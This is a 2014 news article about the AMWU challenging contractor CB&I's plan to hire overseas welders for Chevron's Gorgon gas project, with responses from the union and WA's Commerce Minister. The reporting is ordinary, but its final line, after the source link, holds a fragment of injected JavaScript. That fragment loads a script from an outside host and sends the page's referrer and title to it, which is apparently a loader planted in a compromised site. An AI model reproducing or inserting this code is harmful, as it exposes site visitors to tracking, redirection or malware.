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Foreign labour hire on Gorgon project prompts AMWU appeal

Updated Thu at 2:15pmThu 7 Aug 2014, 2:15pm

PHOTO: The AMWU has slammed an apparent move to employ foreign labour on the Gorgon gas project. (Chevron)

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The Australian Manufacturing Workers’ Union (AMWU) has questioned why a company working on the Gorgon LNG project is trying to hire foreign labour.

The union said that last week that contractors Chicago, Bridge and Iron (CB&I) advised it would try to source 30 welders from overseas because it could not find suitable labour in Australia.

But AMWU State Secretary Steve McCartney said the union put a call out and received an overwhelming response.

“There’s a whole serious of unemployed, quality welders that said they would like to start at Gorgon, some have been knocked back and worked at [Queensland’s] Curtis Island doing exactly the same job with the exactly same techniques with the exact same welding,” he said.

“Then there’s other guys who have never failed a test, failing tests for Gorgon.”

He said CB&I had told the union the company had 25 people looking for 30 welders, without success.

The union has called on WA Premier Colin Barnett to intervene if foreign labour is hired for the Gorgon project.

“We believe that he should be there saying how is Chevron [which operates the project], what is Chevron doing to maximise Australian input on these projects,” he said.

“We missed out on the fabrication, at least we want to have the guys from Australia working on the project.”

He said the recruitment pointed to a wider issue within the resources sector, of a desire by industry for a “cheaper and more compliant” workforce.

Chevron has been contacted for comment.

WA Commerce Minister Michael Mischin has defended the company’s decision, saying at times the local labour market cannot meet the demands of a construction project of Gorgon’s magnitude.

“The construction of the project has reached a point where the number of suitably qualified Special Class Welders available in Australia does not currently meet the project’s labour requirements,” he said.

He said the Gorgon Project had spent more than $24 billion on Australian goods and services, and created more than 10,000 jobs nationally.


Source: http://www.abc.net.au/news/2014-08-07/amwu-protests-gorgon-foreign-labour-hire-chevron/5654314s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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